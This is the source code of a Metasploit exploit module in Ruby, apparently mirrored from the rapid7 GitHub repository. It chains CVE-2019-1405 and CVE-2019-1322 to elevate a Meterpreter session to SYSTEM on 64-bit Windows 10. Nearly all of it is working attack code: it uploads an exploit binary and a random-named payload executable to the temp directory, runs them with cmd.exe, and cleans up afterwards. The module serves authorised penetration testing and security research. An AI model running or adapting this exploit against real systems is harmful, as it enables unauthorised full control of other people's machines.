Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/comahawk.rb
19849 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::Common
10
include Msf::Post::File
11
include Msf::Post::Windows::Priv
12
include Msf::Exploit::EXE
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Microsoft UPnP Local Privilege Elevation Vulnerability',
19
'Description' => %q{
20
This exploit uses two vulnerabilities to execute a command as an elevated user.
21
The first (CVE-2019-1405) uses the UPnP Device Host Service to elevate to
22
NT AUTHORITY\LOCAL SERVICE
23
The second (CVE-2019-1322) leverages the Update Orchestrator Service to
24
elevate from NT AUTHORITY\LOCAL SERVICE to NT AUTHORITY\SYSTEM.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'NCC Group', # Original discovery (https://www.nccgroup.trust/uk/)
29
'hoangprod', # PoC
30
'bwatters-r7' # msf module
31
],
32
'Platform' => ['win'],
33
'SessionTypes' => ['meterpreter'],
34
'Targets' => [
35
['Windows x64', { 'Arch' => ARCH_X64 }]
36
],
37
'DefaultTarget' => 0,
38
'DisclosureDate' => '2019-11-12',
39
'References' => [
40
['CVE', '2019-1322'],
41
['CVE', '2019-1405'],
42
['EDB', '47684'],
43
['URL', 'https://github.com/apt69/COMahawk'],
44
['URL', 'https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/'],
45
['URL', 'https://fortiguard.com/threat-signal-report/3243/new-proof-of-concept-combining-cve-2019-1322-and-cve-2019-1405-developed-1']
46
],
47
'DefaultOptions' => {
48
'DisablePayloadHandler' => false
49
},
50
'Compat' => {
51
'Meterpreter' => {
52
'Commands' => %w[
53
stdapi_sys_config_getenv
54
]
55
}
56
},
57
'Notes' => {
58
'Reliability' => UNKNOWN_RELIABILITY,
59
'Stability' => UNKNOWN_STABILITY,
60
'SideEffects' => UNKNOWN_SIDE_EFFECTS
61
}
62
)
63
)
64
65
register_options([
66
OptString.new('EXPLOIT_NAME',
67
[false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),
68
OptString.new('PAYLOAD_NAME',
69
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
70
OptString.new('WRITABLE_DIR',
71
[false, 'Path to write binaries (%TEMP% by default).', nil]),
72
OptInt.new('EXPLOIT_TIMEOUT',
73
[true, 'The number of seconds to wait for exploit to finish running', 60]),
74
OptInt.new('EXECUTE_DELAY',
75
[true, 'The number of seconds to delay between file upload and exploit launch', 3])
76
])
77
end
78
79
def exploit
80
exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha(6..14)
81
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(6..14)
82
exploit_name = "#{exploit_name}.exe" unless exploit_name.end_with?('.exe')
83
payload_name = "#{payload_name}.exe" unless payload_name.end_with?('.exe')
84
temp_path = datastore['WRITABLE_DIR'] || session.sys.config.getenv('TEMP')
85
payload_path = "#{temp_path}\\#{payload_name}"
86
exploit_path = "#{temp_path}\\#{exploit_name}"
87
payload_exe = generate_payload_exe
88
89
# Check target
90
vprint_status('Checking Target')
91
validate_active_host
92
validate_target
93
fail_with(Failure::BadConfig, "#{temp_path} does not exist on the target") unless directory?(temp_path)
94
95
# Upload Exploit
96
vprint_status("Uploading exploit to #{sysinfo['Computer']} as #{exploit_path}")
97
ensure_clean_destination(exploit_path)
98
exploit_bin = exploit_data('cve-2019-1322', 'CVE-2019-1322-EXE.exe')
99
write_file(exploit_path, exploit_bin)
100
print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")
101
102
# Upload Payload
103
vprint_status('Uploading Payload')
104
ensure_clean_destination(payload_path)
105
write_file(payload_path, payload_exe)
106
print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")
107
print_warning("This exploit requires manual cleanup of the payload #{payload_path}")
108
109
# Run Exploit
110
vprint_status('Running Exploit')
111
print_status('It may take a moment after the session is established for the exploit to exit safely.')
112
begin
113
cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}", 60)
114
rescue Rex::TimeoutError => e
115
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
116
print_error('Caught timeout. Exploit may be taking longer or it may have failed.')
117
end
118
vprint_status("Cleaning up #{exploit_path}")
119
ensure_clean_destination(exploit_path)
120
end
121
122
def validate_active_host
123
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
124
rescue Rex::Post::Meterpreter::RequestError => e
125
elog('Could not connect to session', error: e)
126
raise Msf::Exploit::Failed, 'Could not connect to session'
127
end
128
129
def validate_target
130
if sysinfo['Architecture'] == ARCH_X86
131
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
132
end
133
version = get_version_info
134
vprint_status("OS version: #{version}")
135
unless version.build_number.between?(Msf::WindowsVersion::Win10_1803, Msf::WindowsVersion::Win10_1809)
136
fail_with(Failure::NotVulnerable, 'The exploit only supports Windows 10 build versions 17133-18362')
137
end
138
end
139
140
def ensure_clean_destination(path)
141
return unless file?(path)
142
143
print_status("#{path} already exists on the target. Deleting...")
144
begin
145
file_rm(path)
146
print_status("Deleted #{path}")
147
rescue Rex::Post::Meterpreter::RequestError => e
148
elog(e)
149
print_error("Unable to delete #{path}")
150
end
151
end
152
end
153
154